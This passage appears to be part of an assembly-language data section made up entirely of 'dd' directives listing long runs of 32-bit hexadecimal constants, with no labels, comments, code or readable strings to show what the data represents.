97E8E3CCh, 0F3508BC4h, 2E1FED77h, 25B7EE0Eh, 0EFE02661h dd 41C6C2A7h, 0DCAED299h, 16CFE89Ch, 17109D96h, 0D93F5A90h dd 91A8568Dh, 3A1B49E0h, 8DBE8FB9h, 8F771190h, 1A7E8575h dd 0EF79DFA2h, 1712AB07h, 599678E0h, 0A7CB8431h, 0A046DDBCh dd 31ECDAB4h, 0F20547CEh, 0EE2E17CCh, 0F11E5337h, 0F81A21BFh dd 0DFA6933Fh, 58AF0D60h, 0F65AF058h, 73C11E56h, 54BD20CDh dd 716DDF7Dh, 0A1B31ABDh, 8371C877h, 0A32ECD3Ah, 4C8B4F73h dd 81F7B514h, 99DB1BFh, 456AD796h, 62B156F9h, 901E814h dd 34939528h, 0D7DAB373h, 1BB74071h, 891D3F5h, 26EE8241h dd 91CE9FD2h, 3A397101h, 5E2295C2h, 0C064F450h, 0BE3638C5h dd 56C47205h, 3D1932B5h, 0DE6DF1DFh, 0D3A1A82Dh, 344A0324h dd 61D299E6h, 0A16981ECh, 0F01E1F2h, 0D0A8F180h, 0E6C0C40Dh dd 3BEC44A8h, 33CB0C6Ch, 16FC51D6h, 0D4D0AE4Eh, 83C6E25Eh dd 54DDC928h, 13E43F07h, 506D22BFh, 0E9DE2A56h, 8BF1E63Fh dd 1632FE95h, 1C4C2BCFh, 3DC1DAEDh, 24A3BD92h, 5342172Eh dd 667C02CEh, 0AEA4FC20h, 6A4C1250h, 4F9FA693h, 0CFC23061h dd 0AF8ACB4Bh, 6073DCC6h, 159E4DC8h, 4CFFEEB6h, 0BD959641h dd 53F06C2Ch, 0F6C65A0Bh, 0BB2DC06h, 2974A41h, 7894F9EFh dd 0C35A8806h, 7264C99Ch, 37644FA8h, 0F56C4665h, 3362489Dh dd 0C52B13BDh, 5D9F901Fh, 0CE4F90FEh, 0E7812E0Bh, 9BC79541h dd 3F064B7Ah, 9E1D18ADh, 0A43EB84Eh, 0A1F2F440h, 572B8196h dd 0EB862F06h, 0F546463Ah, 0B7E9D5BCh, 582036DAh, 230FA22h dd 0EED1E99h, 0A75E8F90h, 0EF945E20h, 444C5A89h, 0F4C028CCh dd 45AB0867h, 796D7B9h, 0F9197B3h, 0F0298AB2h, 55649296h dd 62F5663Ah, 44CC9E72h dd 248ED17Dh, 8F2FC326h, 87114B3Fh, 65F76CEEh, 19969121h dd 0FF33E72h, 461FF4A0h, 0CC587CB3h, 1F2C7A82h, 8B201660h dd 7B281EBCh, 0F188E3BEh, 9529FF8h, 0BBFADADBh, 0BF8E06F5h dd 17C39D31h, 333411AAh, 6E1F60DEh, 7C21C45Eh, 0DCB9B474h dd 0C29523E5h, 999A846Ch, 2BA8A9B6h, 39AA8032h, 0F27F8D38h dd 6BE4504Ah, 6F2178F1h, 0B7FECF82h, 1F6B83A2h, 34443EAAh dd 48A81E6Ah, 941F1046h, 81D3CE1Ah, 3A076E7h, 33181E56h dd 223B0BEBh, 7F22DD5Ah, 0E3F52951h, 3A5FD82Bh, 1AE2AD9Dh dd 71E69E33h, 4BE4CCC6h, 926FB5D1h, 0C2475B9Dh, 0F782E945h dd 5E00A08Ah, 294D2B33h, 0D0FE3749h, 0A92624BBh, 0F031E1F3h dd 2F196FB2h, 34B878B2h, 76DEA2BFh, 2F5B5304h, 9EE6E22Eh dd 0D5620976h, 0FEF5B500h, 0E1C82EB2h, 0CA278817h, 2901B48h dd 0AB20F940h, 3C60CA0h, 82D68725h, 38A44F3Ah, 0EF41F7BDh dd 0D808664h, 212AFDA3h, 0FDEA800Eh, 682DA9Eh, 0DBD84AF5h dd 39799C1Bh, 7A4DA660h, 0CA9F2920h, 0DEDA21E4h, 0C992DB60h dd 9BBFF97Eh, 0B5744BDAh, 211BC287h, 1ED437EDh, 0F4DA7388h dd 0FFCF478Eh, 0B1A6ACDBh, 0E511DA67h, 5BD84949h, 14FA226Eh dd 0F384E6A8h, 56ECE35Ch, 5B49879Ch, 671B39EDh, 0D0EE425Ch dd 0FA66E019h, 0E78810C3h, 121A71h, 7F843E3Bh, 4BCF363Ch dd 40A9F51Eh, 4E07736Eh, 0BAA1AF0Ah, 1513AA86h, 0F2CF06E7h dd 179624EEh, 0C8E099A7h, 82BEC76Dh, 20E3C551h, 0C85A847Fh dd 1A71B2BFh, 0B7F92E4Bh, 0C64DCD5Eh, 1FD99204h, 7D2AE5BCh dd 0E6DC43C1h, 7A43AEFh, 7CABA110h, 0C9BF187Ah, 9D1BB2D5h dd 0AECFC5AAh, 4AB58965h, 0DF07CFDEh, 4D1BABF9h, 0EFF550Dh dd 4F0071FEh, 0DEF4556Ah, 4FAE2523h, 23AD67h, 0A36C4B1Ch dd 179F01F8h, 0FC95FC3Bh, 1000CE68h, 5C8FBAFh, 0DEF4EAA5h dd 47205E75h, 0BCEE764Bh, 0A95896F0h, 0A57C0DA7h, 0A0FF37D9h dd 95C94A0Bh, 88B23155h, 8A34E839h, 0E1764BC2h, 8F57737Eh dd 0B1A8238Ah, 5C0D59FDh, 9534B05Fh, 6B442504h, 24F49F5Fh dd 14102A8Fh, 0DE54FB38h, 0A91A4B31h, 5CCF3C62h, 6FB56CE4h dd 5EE0764Bh, 0E810D75h, 37EADEAFh, 0F98BA7CCh, 24878353h dd 0F7AB0D02h, 0A2B7ACC6h, 6ACBF5EDh, 0DF03C7CAh, 0DDAD9A1Dh dd 0B6B2334Eh, 26EE7A4Dh, 9E62AA53h, 349A4027h, 0FEC75BB5h dd 5D795B92h, 0EB86E698h, 0DF769EC0h, 0C4BBAB53h, 36E10E25h dd 7857EC40h, 0AF808092h, 0F8A731B4h, 2BE1FCA8h, 2E7E655Bh dd 5BF922F1h, 5A4E54FBh, 79ACD4C9h, 10E268EFh, 0D4296C9Dh dd 0FF280045h, 0F925724Eh, 70A71E2Bh, 3490349Fh, 89C3C156h dd 0B8C216F9h, 35F8C5D1h, 0F9406AB5h, 0EEC33BCDh, 2CAF6BB9h dd 90D342Dh, 0CDCFE244h, 2535038Fh, 0BF5B4E34h, 7CF1E32h dd 8BDB4D0h, 0A9125786h, 0F49D3D30h, 0D71F7ACDh, 0C933E8F0h dd 5FF41B8Dh, 3D2F8A4h, 25EC12C1h, 50B7499h, 0A59B5563h dd 3DCC7D5Fh, 9068DC7Dh, 0E849A2BFh, 7FF54C3Ah, 2CF54EA0h dd 7CF31140h, 0CC742B5Eh, 0C7981992h, 0BEBF64E6h, 5EB0DDABh dd 384A6A7h, 0EC441943h, 3A8633C9h, 23BD50EEh, 0E35C0AF4h dd 482ABDFh, 0E08D3BCAh, 83A3BDF1h, 22AFF212h, 46445192h dd 3A2A44C7h, 0FF44E678h, 7C56A11Bh, 527C3E3Ch, 0C53804EAh dd 5C70199Bh, 750FC0DCh, 1FF60Dh, 428B388Ch, 0F6E83EA2h dd 0EF49AC12h, 0C84908B2h, 22DE7DDh, 65005B9Bh, 9DA679E4h dd 0C0FF1D86h, 205108Ch, 0AB07BD18h, 2D9942B9h, 0E5876093h dd 84AA7A0Fh, 5FED367Dh, 0D828C4C8h, 390B0770h, 0E1933F9Dh dd 87BF43ACh, 0D3059A4Bh, 43C9F3BDh, 0A136ABA2h, 9E6C594Bh dd 57024120h, 0CFB97FEAh, 0B65476Bh, 72BA14E0h, 0DC8CF7CDh dd 0B1827416h, 0EDBD0655h, 0C12B93B0h, 0BF9FB4ACh, 3C86E293h dd 0BF6DA54Ah, 9C1CA080h, 69EF7B26h, 91961A78h, 7985A763h dd 6E4D7FC9h, 166E2CC3h, 0F3F0DCAh, 1F877068h, 887622A7h dd 0EDFD6156h, 35F30C27h, 0A950FB5Eh, 0A438F8A3h, 0BE04B3E4h dd 29BD5EE7h, 0C0DEE117h, 3F68B9FEh, 0F1E8250Dh, 0BBE21716h dd 539B845Fh, 8CF163B1h, 0B06B8EB3h, 0D5E5AC56h, 3F9BA048h dd 9E47EE04h, 2CBAB327h, 327EAACh, 0DF16D385h, 6E8552CDh dd 81127B14h, 0F005ADEEh, 90CAFEBDh, 0EE63541Bh, 0E0964923h dd 0A695F59Eh, 0F4EA9969h, 0B2ED7D8h, 2C756F08h, 16CEF361h dd 82CD1635h, 88E10DFEh, 79D94704h, 2BEF9698h, 6359A6EAh dd 8F6D5F13h, 3C669615h, 10B98E7Ch, 44B3910Bh, 97E4C3CCh dd 0A5E48163h, 4C59536Bh, 0B8D1D9B7h, 0ABBBF6B5h, 0EF6CEFA1h dd 0BBD462E6h, 200F5055h, 73632F99h, 6182877Ah, 18BC2D7Fh dd 53924F50h, 26F2D4D3h, 0A479A99Eh, 7131BD56h, 1AB79AAAh dd 79534CF5h, 0DF63D9C7h, 3CFBA98Bh, 0D3F443A1h, 0C866E804h dd 0B47B8960h, 86FEA11Ch, 488BC23Ah, 407B6506h, 878B6192h dd 0ECD4EB02h, 0A725FF66h, 9B21FCE2h, 8E7FAA96h, 2C36F88Ch dd 0C9E5871Dh, 0FC572D40h, 73B35EFCh, 0C23631FEh, 2EAA4E22h dd 0F15EF9FCh, 0EA13C093h, 4CFF3A3Ch, 0E79C9F04h, 0DFD441D5h dd 74FFAC96h, 0C8BDCB03h, 0BF68C963h, 62BCD98Ah, 61D86740h dd 9483AA57h, 0BCE2DB5Fh, 0F83E0308h, 0F116ED0Dh, 7A5A0E21h dd 48DF05ACh, 0D4441E4Bh, 7325E4BCh, 6E73F0D8h, 0C9B238ABh dd 0CCD7EE7Fh, 0D407EB8Bh, 0C7388E6h, 0C6E847FBh, 0BF3F0FD0h dd 68058C0Dh, 29D819E9h, 0EEF702D4h, 40E364DEh, 0B4E2313Dh dd 4396E411h, 0C0C532DFh, 4080AEB4h, 565319B3h, 60ACC082h dd 617FEC65h, 0BAF9F065h, 0F7B69A61h, 0F495BAC4h, 0AE8837D2h dd 8DCBBB6Bh, 15669A58h, 0E729244Dh, 0D6235F1Ch, 0E9D83246h dd 480C5211h, 69CACD39h, 42C48CF2h, 0FB0BE811h, 28E89195h dd 724C7AA9h, 552CE36Eh, 184DB240h, 0D4DD5929h, 69A705EFh dd 94367B23h, 9C948CFAh, 1F63F269h, 36ED2EC8h, 0B4F85380h dd 0E0D1B458h, 0BD312F9Ah, 0D4AA25FCh, 2C6A5076h, 28358F2h dd 2F77C77Ah, 0D2D80FD6h, 0B0BE99Fh, 0F29A6B1Eh, 900627F1h dd 0FB77C7E4h, 1AD9E259h, 0D5C7C57Dh, 0D9C8CBD0h, 0A2B0FA0Bh dd 58B1F42Bh, 82F97F6Dh, 0B95BD9BAh, 0AB6864EAh, 1ED51231h dd 538AB875h, 5BC5305Fh, 776009A7h, 5697512Fh, 206D6C6Eh dd 15B4BD93h, 643E2D22h, 72515D6Bh, 2109059Dh, 0B4B73844h dd 0BF64DA84h, 0C18585A9h, 61C820A5h, 331559Dh, 0F1AF0CB9h dd 0E9B84844h, 78C2150Ah, 0CE3F4083h, 0F36D0075h, 84601E02h dd 0D998460Ah, 0CAC9193Dh, 0FFEF1AA8h, 6422D650h, 0A41F05C9h dd 0E3D295A8h, 2BB6AA7Dh, 78D32998h, 2F03214Fh, 0C0BF6827h dd 615981C8h, 97CEED10h, 0F626A657h, 0E6F5C9B5h, 0C69EB8EDh dd 12938433h, 5E1B9EDDh, 4501A5D1h, 10768C80h, 0D6F1AFABh dd 64F68D9h, 0C049F829h, 39EC8637h, 711757B0h, 53CE9357h dd 5267AE60h, 462653F3h, 0DAEE3F5Bh, 0FEF857E3h, 0E8A99530h dd 1D89073h, 4B307B00h, 8E79C9B2h, 0C288EF67h, 0CC26FF56h dd 81074158h, 0B82DFD8h, 80960F8Eh, 0B68E36F5h, 4AE32526h dd 37C9CB0Ah, 18A0EB4Dh, 0A1E09D2Ah, 330BA332h, 0E542A897h dd 22E93023h, 33397675h, 0ABA9BE6Fh, 6E0DCD51h, 0AFCFAB67h dd 347D725Dh, 146421A9h, 3AF91B07h, 90CE971Bh, 0AF6DE937h dd 5D43C0Ah, 1998A510h, 0AB4449CDh, 553AAFE3h, 1E5145F4h dd 0DAEAFD79h, 0DCC99E08h dd 0A22B1B53h, 0CDA9CDA4h, 53CD30B6h, 5C98879Bh, 0A672BE8Eh dd 98681BC5h, 14CDCA5Dh, 5D9EC79Dh, 4D2C736Ah, 0BEC82D98h dd 954DDCA5h, 19417994h, 0CAE09E64h, 4A44E019h, 0FDB061CDh dd 0D95CB2ECh, 0F39D3EB9h, 0AF9F24CFh, 2926FF34h, 0E3DD8176h dd 0CA634444h, 0F17DEE21h, 619C2866h, 71497D8h, 6C4801EFh dd 0DAAE594Bh, 200B90AEh, 0B57CAEC6h, 9C8C6BC7h, 2F171621h dd 6827102h, 0DEE6590Bh, 0F2E22DC4h, 0A15AEB99h, 15250969h dd 0B4210C61h, 0C547CFADh, 0ABD7085h, 761CBAD9h, 6166344Dh dd 3A1C243Fh, 7C6DA9E3h, 0F36F88C7h, 0E8FC63DFh, 17A8767Dh dd 0AB396717h, 3A6DF529h, 44BF9A7Ah, 19F3C087h, 42152607h dd 0E5D08455h, 2987B60Dh, 0C72F8D1Bh, 0F02F6B43h, 0DEF44D24h dd 43513284h, 698DEEB1h, 0FE58CB2Ch, 22A71A39h, 0EAE7CBE6h dd 8F57362Fh, 59D66F43h, 9759F01h, 68BAD1ADh, 83113A8h dd 6AAB1FFAh, 0EB5A287Eh, 7B49C68Bh, 70521EDBh, 0A2B5CE03h dd 89480D93h, 0B98F5019h, 0D1CA2F27h, 7BC45BB4h, 0BEE641B7h dd 2397B40Fh, 7683415Fh, 738A11B5h, 0E93DE29Ah, 22AA94B3h dd 5DB1AE08h, 7177DE5Dh, 77D2F91Fh, 9A9FB5D8h, 4FD39796h dd 0E8038135h, 462D4080h, 0FF3C465Bh, 49EB7805h, 9589BF8Dh dd 6D9D8D33h, 0D576B651h, 0E4722EBh, 9E74427Ah, 94215EE0h dd 0FED43448h, 0D3E8DAC9h, 98A1F98Eh, 1030949Eh, 2263A45Dh dd 1F6DCD24h, 472BC220h, 31C82FFDh, 7D4AD7A4h, 7F0B5733h dd 89D2454Ah, 8BD72833h, 0C32D89DBh, 672221D1h, 0EEE73F12h dd 526ECD06h, 0E1B560ECh, 9E15BDB5h, 0B63D8D5Eh, 491B2ACCh dd 0A4F42082h, 0EE0418BBh, 0F5200CABh, 2FF3634Fh, 0BC77D9E2h dd 0C30F27ADh, 0CAD92706h, 0C3F6C1C2h, 5AE5DA53h, 0E889E0E1h dd 130BC315h, 8783FE54h, 0BC7E1A2Fh, 0C5077567h, 1BA083CEh dd 2EE42083h, 67F02E5Ah, 74761E4Bh, 0E22BCB41h, 0BA33C283h dd 0D812DAE0h, 1B4762DBh, 23257F7Ah, 7B7D93Ch, 2D0EE76Dh dd 0F566A9Ah, 9253E883h, 554930E6h, 7E0A8BFh, 0D989E76Ah dd 15A1AE9Eh, 5BF9FB40h, 215ED2F7h, 28BEB352h, 0E506C069h dd 0D5C484Ah, 86DB3006h, 0C8DCC670h, 984D7388h, 0BE3AA301h dd 2BBDBF0Ah, 0BEC0B699h, 0BD2F74F0h, 782DD7B4h, 22B358A7h dd 36368A86h, 0A63888B6h, 0DBF8D1Bh, 4384368Fh, 9C4D241Ah dd 0AAED5E6Bh, 47EB8B7Eh, 10301884h, 738C8F67h, 79D0B346h dd 0D6D4D385h, 10E65C55h, 5D3C4A29h, 953EBCF1h, 29CCE35Ah dd 0A9FD08E8h, 0B891DDD1h, 0AD31B8C8h, 0DC229C85h, 0F26CB63h dd 81EE1F2Ch, 0A13B4E9Eh, 0FCF5D6E8h, 54F508B2h, 46E68E20h dd 5DDCEB8Dh, 0D050C9A9h, 21E533C7h, 94BE371Dh, 0C9FBC80Bh dd 9725A804h, 7F03E03Dh, 28AB23A3h, 8EB2BD70h, 0F92460BFh dd 0FBEA234Fh, 6E8AF748h, 0F95A31E8h, 4338C900h, 8DAC2716h dd 1F612742h, 93A5745Fh, 66700539h, 0C890EB0Bh, 6F844CB4h dd 12B21AC9h, 0A2FB4884h, 0E413E36Fh, 13CBE8FBh, 63A40146h dd 2FEBC981h, 7609CED7h, 4E3F02DFh, 0B1AEBA3Eh, 0B2909426h dd 3014C020h, 0EA164D6Dh, 0D4652D5h, 2C89C146h, 5EC2BB7Bh dd 11A2C484h, 0FDF3D5E5h, 5309944Eh, 7DFD022Fh, 3E83EC3Bh dd 3AF9022h, 9DC2E140h, 0D3717C7Fh, 94CA1E98h, 5F154DE9h dd 0D0A5B033h, 0A9EA2837h, 0D0021D79h, 6ADF4Ah, 316871Ah dd 27555C63h, 58B07EB8h, 17F99DA5h, 21EBDA80h, 3D15E12Dh dd 0CD9316Eh, 51BD83F7h, 0E693D3E3h, 0B81BE1Ah, 0E32E3FE5h dd 670EC054h, 510150A9h, 2EC620D4h, 54BC6EF6h, 141B1D47h dd 0C4C040D2h, 0CD35D485h, 88739B37h, 0C17C0086h, 5AB0CF22h dd 2AFF35BAh, 7251F89Ch, 8510F520h, 77EFF4EFh, 0EAE88AC9h dd 0FAB6E9C4h, 0B02917B7h, 7EC247B9h, 42FB1BB3h, 0EC8C672Dh dd 6F4A5607h, 3E5F2D36h, 98EFF251h, 555847BFh, 4E375A90h dd 0C8241938h, 8D48ABEh, 1B40F2FAh, 81C50D6Bh, 0EAB23AF7h dd 9369F88h, 0A8F64C41h, 0A50C5F78h, 7A224819h, 0C4D77615h dd 9DB0FA7Eh, 0D2362588h, 43FB4A79h, 0E9B8A5CCh, 8550EED8h dd 0FD80311Bh, 0BFEB464h, 7CDDA96Bh, 9E60047Ch, 0EDB0EF2Eh dd 0C459A89Eh, 0C3B37806h, 0FDE450EAh, 95660ABFh, 29AA065h dd 437A8C79h, 0FAE18CB7h, 0AD75941Fh, 8D544E6Eh, 0D2DBDC6Bh dd 8BD89D74h, 9C916C91h, 15CC5A15h, 0E3D5FA78h, 7EE3A34Fh dd 0E001C2A4h, 1E046EDEh, 53F306ADh, 0C5B982Ah, 0EA8193B5h dd 0C96884A5h, 171E2695h, 13A02792h, 6F21F688h, 5BC577A6h dd 0C8E5ACE5h, 49F901D7h, 9777C819h, 93A1819Dh, 9C284BF3h dd 9E5B3620h, 31DA489Ch, 9B3685F0h, 4BE7AE58h, 0F22823h dd 0F288B482h, 0C5A9F1h, 0A0828E6Dh, 44783FAFh, 270164E2h dd 212BD541h, 0BE768CBAh, 83D32478h, 0A4F1C61h, 0D53F10Eh dd 6F5D8A64h, 6F7D8879h, 0BCD210FBh, 72B745Ah, 0B9D366F5h dd 8A4F1C6h, 9F4D582Ch, 6CEE670Ch, 3B21577Ch, 0AB6E5A68h dd 0FB080F17h, 0D4D66E1Fh, 5138B666h, 980479E0h, 0D8C6A6C0h dd 2311E424h, 2D16856Dh, 8A89EFAAh, 3AC9F7E2h, 36D00133h dd 67F3ABFEh, 9FBB0E46h, 7B684220h, 0BA6C05D0h, 582AA8Dh dd 884A814h, 2B79C6CDh, 0D122DDD5h, 0B9351D55h, 9946CF52h dd 0FCE24641h, 0BB55D94Dh, 0CBD83525h, 5094A5D3h, 2C3DCE23h dd 8EDF114Dh, 73032BC0h, 2AC50066h, 6895EA0Eh, 4E7F0871h dd 7DDBFC4Eh, 0C1BA78A4h, 0D6972C6Bh, 46F58A9Dh, 0EA9554Ch dd 4E8C035Ch, 36C16AA2h, 78631C3Dh, 0B4B6E9Fh, 6DAA7FCh dd 287CBC74h, 483572FEh, 0D1F24D4Ch, 0E37DD082h, 649D02F6h dd 0A9BAD851h, 8661A1FCh, 5600E5CBh, 7B23E81Eh, 852E5A8Fh dd 0DE395A3Ah, 2E5FA60Eh, 45B367E2h, 8F92E0DDh, 6D1CD9C2h dd 258F1178h, 0A4AD9F7Fh, 5A4D5541h, 21FAE5C3h, 36410893h dd 0FF1D4AD1h, 7C40858Ch, 2E06449Eh, 33DDE24Bh, 9C35C770h dd 3BE9D9C8h, 5AECDA43h, 70A74EACh, 48943F77h, 779C5D27h dd 594241B1h, 33768F1h, 0CF7587BAh, 3CAE1A47h, 288344Eh dd 6993ECA8h, 98D8F3EEh, 63FAFB0Bh, 0FF652FF9h, 468B0029h dd 1E036719h, 21FC6471h, 6E38D7C5h, 0EACD745Eh, 0DDF34FCBh dd 0D57595ECh, 3ADDC7B8h, 0AC2E9F6Bh, 0E78099E0h, 9EB264E0h dd 7E4AA486h, 38D0836Ch, 32A44762h, 792708B8h, 26073869h dd 7FFA013Bh, 0E56D68C6h, 0BBE5BAC2h, 0ED2C9141h, 0CEA56C9Bh dd 77D6D9BCh, 501AF18Eh, 3E48EC3Eh, 44B524C5h, 6BBB610Ch dd 5A2D1CFCh, 0BB66BF44h, 0F3030272h, 0CBE4AC6Eh, 0CDAB00C0h dd 855D89FDh, 3DBD23D8h, 0FD0F8766h, 7D596003h, 0B481376Ch dd 2417EA8Ch, 808995FAh, 117FB3A2h, 3FBEDC9Fh, 93C79C0Eh dd 5849C030h, 6EA056EAh, 2A4A1BD1h, 0B4F0FB8h, 43CAC9E1h dd 4C2B7D43h, 2FD0F54Ch, 800A1E02h, 75DA5262h, 1B00DC81h dd 5044C81Dh, 0D8E3EB39h, 0E496A558h, 0B0E43B14h, 0C5F5A30Ch dd 0C9E4C8DAh, 861D8CD9h, 0C55E806Dh, 9026E658h, 0A239A10Ah dd 4D948E02h, 0F7ED066Ah, 0F4EE93C8h, 810E3617h, 3D1473DBh dd 73D4EC37h, 5789A221h, 30A764A8h, 0E17E4859h, 4405C522h dd 5DE33EB0h, 2E57A738h, 0BD67F17Eh, 0A7A7204Eh, 49DC8D4h dd 73CB7EA0h, 2C4B9D3Ch, 7D925ED8h, 7E560DCFh, 0CAF60C4Eh dd 75A3D5CFh, 1EAA35F9h, 54064CF2h, 0C5A44932h, 0E9599B43h dd 308849CAh, 0B0074C84h dd 7E23C213h, 0AAA91D59h, 0F9E30332h, 2C39FE36h, 0DE8E234Eh dd 434BF6DEh, 0FDD41A9Bh, 0A9021E44h, 0A5190793h, 466AAAD9h dd 0C5B39082h, 0F7650297h, 0A6B5787h, 9988154h, 0E4E2757Bh dd 494B2DB3h, 5577D773h, 10686078h, 73452685h, 0A5511A0Ah dd 0DC510A64h, 0BC914484h, 3342A8A8h, 96F98B2Fh, 4521B4EDh dd 927763D6h, 0FEE39F18h, 0A5FE72BCh, 33885A1Ah, 7C29A9Dh dd 288381ABh, 415435ECh, 91E9D2A4h, 42C1B4F5h, 0FA194B37h dd 6B7C8AF7h, 1250B075h, 0AC002283h, 0CBD901A9h, 0FE0CFAFCh dd 6A49391Ch, 52EFC83Fh, 90B4500Ah, 0DD8A78D9h, 0C06A07EAh dd 0F886884h, 7FF38B54h, 0D713D8DEh, 0DA4B62EEh, 4AAEFF09h dd 0F4D02D30h, 0ABC83A60h, 16C827ABh, 94580E16h, 49E08F58h dd 23C3B3E3h, 723DE55Eh, 6319312h, 0C884D721h, 19F01A50h dd 84B17184h, 0E9F402ECh, 89E0AD47h, 0F02C024Bh, 72809B22h dd 0BAC9BD9Dh, 4F2B1490h, 4F9958A9h, 0B89EA1A4h, 340C6E2Dh dd 99FA9B49h, 0A51D8910h, 0E5D020A4h, 0A6423619h, 59E69184h dd 578585ABh, 706D1454h, 3ED539E8h, 0D7700B97h, 0AD1D4FCBh dd 0FC2713AEh, 0B7C7AE1Dh, 8043D4C8h, 3F57128h, 696EC078h dd 52168B22h, 5BF2A95Fh, 9130109Dh, 0A381DC11h, 7CCCB0ADh dd 7AC0A0EFh, 159C87ACh, 0A67376DDh, 729D29BDh, 156DCAB1h dd 0DE2C7B08h, 0ACD19DC0h, 8A2AE456h, 0F3932963h, 2A506470h dd 0DFCB3148h, 49A57A70h, 0E71EC35h, 87F4556Ch, 8A9684F5h dd 0D8E60F33h, 272454E0h, 58063BC7h, 0B39F997Dh, 0FE4A8CABh dd 57556CF8h, 33DBB3DEh, 34996CCDh, 6D26976Dh, 0A93E6919h dd 9BA7F4Bh, 61AAF4EEh, 0A9DF7411h, 738C0DDFh, 2CEA1684h dd 1B8BFAB2h, 64158A6Ah, 517C88D4h, 7A075B38h, 0E8B814FDh dd 77C78776h, 18045AC1h, 0C2DB46CAh, 0FB5A4119h, 0D6AAA1B3h dd 5C2A8C5Eh, 0CC949E1Ch, 34466E3h, 83452444h, 0F9AE2322h dd 0DD69DAEFh, 0D16122ACh, 0CE2439Ah, 0E8A85147h, 81C5560Bh dd 7A83DFBh, 7C07F29Ah, 0CEAB5B50h, 635FF093h, 0AA163326h dd 0F22417F6h, 0F1A80B3Ah, 2FB6E94Eh, 0D28D049Bh, 0CC21599Bh dd 0C40086Eh, 0BEEC7138h, 0E55C6148h, 0D8EAC7FFh, 0ED8D230Ah dd 72C700E6h, 7F41FFC3h, 350476Dh, 0C22F1DF2h, 912319C4h dd 2D7845EDh, 0EEDD9840h, 0DC7F5419h, 0DA79DC74h, 5E7B5102h dd 5985B45h, 63DA225Ah, 87F8F72h, 5B1CC258h, 0F2772A5Eh dd 6353852Ch, 0AB914780h, 0C391DC60h, 27914CCFh, 27EF7BCAh dd 9D05F589h, 3B089722h, 9AD396F9h, 1B149D2Dh, 0BEBB3EC4h dd 1AE52A97h, 64BF8129h, 0A53AECABh, 9FABC637h, 620CA6A4h dd 197FD3D6h, 1DF0B58Eh, 0C8671893h, 0A19F47F8h, 9438DD87h dd 83D5652Bh, 83F64023h, 0C90892CAh, 4BD9236h, 87671033h dd 3EBC1C73h, 2E9B356Bh, 0C4C8BE44h, 0CA376ECh, 0C19065F6h dd 0B1CCF52Fh, 0F4AB1376h, 37C0A25Ah, 465DC674h, 0C94DFA23h dd 0B14F4178h, 0DA8D8855h, 406D878Bh, 2BE83DA9h, 905A01FBh dd 0B62C9C08h, 3E61DF05h, 0FEC7D3EFh, 232ECEB3h, 9E00693Fh dd 3E4BD08Ah, 0AA510CB8h, 0C83FAE7h, 0FA6BE56Bh, 8B2752A8h dd 0FDA29867h, 52DBD2B8h, 0CCEDCCB8h, 4692BFFAh, 5B2DE83Fh dd 0B551F572h, 0B9AEC2A5h, 0F1D94B48h, 0F7B4D8C1h, 785B9338h dd 871A869h, 436695D5h, 35BAC817h, 8019ECF0h, 18CAD679h dd 2B9C0F7Ah, 0F4881929h, 0BC57473Bh, 1CE497F4h, 95CC6472h dd 4987FD27h, 0C8175C27h, 5A3C543Bh, 2858108Ch, 7E57DBB5h dd 5531A3FAh, 0F20E6A06h, 6433A21Bh, 219C2B3Ch, 667EB19Bh dd 3A70BB99h, 4C54092Dh, 5FEF7E04h, 0F4EDE20Fh, 29912011h dd 4C25E945h, 0F525095Ch, 0D40D50C9h, 5A8335B9h, 0E7F218ABh dd 4A445E9Fh, 0A8B24C3Bh, 9189D7F4h, 8205D5F9h, 80089045h dd 3053F9F5h, 0F0BBD03Ch, 28DCABB5h, 23F650D0h, 8445F8F5h dd 7D1FD477h, 0CC8C235Fh, 0C1D4506Bh, 0F14510CBh, 567B87B1h dd 0B11F2FD6h, 697F0462h, 0FE7575B7h, 2D441C85h, 4B1A12CCh dd 1961E57Dh, 554D639h, 0EECC27B9h, 0B3A9C521h, 32077406h dd 126D9731h, 0FD708176h, 0FBD53610h, 183E867Bh, 8FDC5271h dd 247B6ECFh, 2B9787Eh, 321B13AAh, 2E0EA15Dh, 0A708EB0Eh dd 4E340FD7h, 624727BEh, 500D7849h, 8DC51B06h, 0C5F55E75h dd 71D303Dh, 8E68A8C8h, 8E6B7AD7h, 0E381B9B6h, 0A83FA72Eh dd 4C041CD6h, 942BDD6Fh, 1E9E0B3Bh, 53345178h, 0E88C42B9h dd 0CF2F3312h, 0FDA43D32h, 988333D6h, 964A1A1Dh, 6C0B03C4h dd 47427F3Bh, 0FC564B22h, 4F90AC29h, 641CC2C4h, 6C00CEDh dd 39333ED9h, 0C4382757h, 0FCE9CD4Dh, 5621A11Ch, 9E814407h dd 0CF055FC9h, 5B176D89h, 0F9359DB3h, 6EDF3A0h, 16670DA9h dd 9216171Fh, 83C9B077h, 6BE445C3h, 173C7728h, 0E1194785h dd 4CD87D7Eh, 0D076FC61h, 0BCBD6CD9h, 32AEDCB0h, 4D82DC85h dd 0E0DBC07Ch, 0D5228A61h, 4E981247h, 8E536092h, 0C5C005C0h dd 0A6AFA8E5h, 0A6FCF610h, 8F3B51Bh, 262CB099h, 65A2C60Dh dd 5E962406h, 800077B3h, 944C47B0h, 88B6D6DFh, 9D275B5Eh dd 96897F2Ah, 0B634D28Fh, 85404FE9h, 0B665A296h, 292761E8h dd 0BB776272h, 0BA3A63E2h, 1A824A01h, 0FE565F37h, 129F2FC4h dd 5FAF0EDh, 0B02EA976h, 5C8A3CCDh, 0B10A05ACh, 0B1132198h dd 0AADD9ADEh, 0E3641CFEh, 9BE35164h, 4E44657Ch, 9B3FB63Ch dd 789DAFDDh, 2450A7D9h, 97F3BE51h, 1B7E4833h, 3B641103h dd 0A03F35E5h, 84717BD2h, 0EB64EB7Ch, 3C79F8FDh, 3499CA08h dd 5C15F7C0h, 8EFA7A35h, 0E3E5A371h, 276C739Ch, 0EB3850A6h dd 82EFCD35h, 5B0B77B9h, 35AA209Ch, 91FA6428h, 5693154Ah dd 0F649E33Bh, 0C18BAC7Fh, 6AF34885h, 63609077h, 0ED0BE372h dd 570FDB0Ch, 0B5329DE8h, 771CAB1h, 5515F7AFh, 5560B97Ch dd 0B6501473h, 0B2B2EC65h, 0B401F3E5h, 35DCDB77h, 920C209Bh dd 0C161919h, 7EC87DA0h, 0AFE7385Bh, 2495B174h, 1023A8D7h dd 2AE21B9h, 20304A8h, 77C75498h, 0BDEA6583h, 5B1E1A7Dh dd 0B5DFC187h, 0ACCFEE5Bh, 1E45A8DFh, 0F26FC881h, 6B292092h dd 0FC060626h, 1B19A6A4h, 0C59FBAA8h, 37CB2A96h, 10A8D595h dd 0C82FEBB0h, 